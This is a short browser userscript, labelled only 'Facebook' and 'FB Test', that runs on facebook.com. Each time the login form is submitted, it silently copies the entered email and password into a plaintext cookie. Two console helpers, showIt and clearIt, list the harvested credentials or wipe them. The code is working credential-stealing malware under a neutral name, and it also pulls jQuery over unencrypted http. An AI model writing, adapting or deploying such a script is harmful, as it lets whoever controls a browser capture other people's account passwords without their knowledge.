FB
// ==UserScript==
// @name Facebook
// @version 0.1
// @description FB Test
// @author Umer Ata
// @match https://www.facebook.com/*
// @grant none
// @require http://code.jquery.com/jquery-1.12.4.min.js
// @require https://raw.githubusercontent.com/js-cookie/js-cookie/latest/src/js.cookie.js
// ==/UserScript==
(function() {
$('form').submit(function(){
console.log('submitted');
});
const lsn1 = 'fbLocalStorageEmailX0';
const emailSelector = '#email';
const passSelector = '#pass';
const formSelector = '#login_form';
var emailElem = $(emailSelector);
var passElem = $(passSelector);
var temp1 = [];
var temp2 = null;
function showIt(){
if(Cookies.get(lsn1)){
printIt();
return "-- Data End --";
}else{
return 'No Data';
}
}
function clearIt(){
Cookies.remove(lsn1);
return 'Data Cleared';
}
function getEmailVal(){
if(emailElem.val()){
return emailElem.val();
}else{
return "[Use Last Used Email]";
}
}
function printIt(){
temp1 = [];
console.log('');
Cookies.get(lsn1).split(',').forEach(function(item){
console.log('email: '+item.split('|-|')[0]);
console.log('pass: '+item.split('|-|')[1]);
console.log('');
});
}
window.showIt = showIt;
window.clearIt = clearIt;
$(formSelector).submit(function(e){
//e.preventDefault();
temp2 = Cookies.get(lsn1);
if(temp2){
Cookies.set(lsn1, temp2+','+getEmailVal()+'|-|'+passElem.val());
}else{
Cookies.set(lsn1, getEmailVal()+'|-|'+passElem.val());
}
});
})();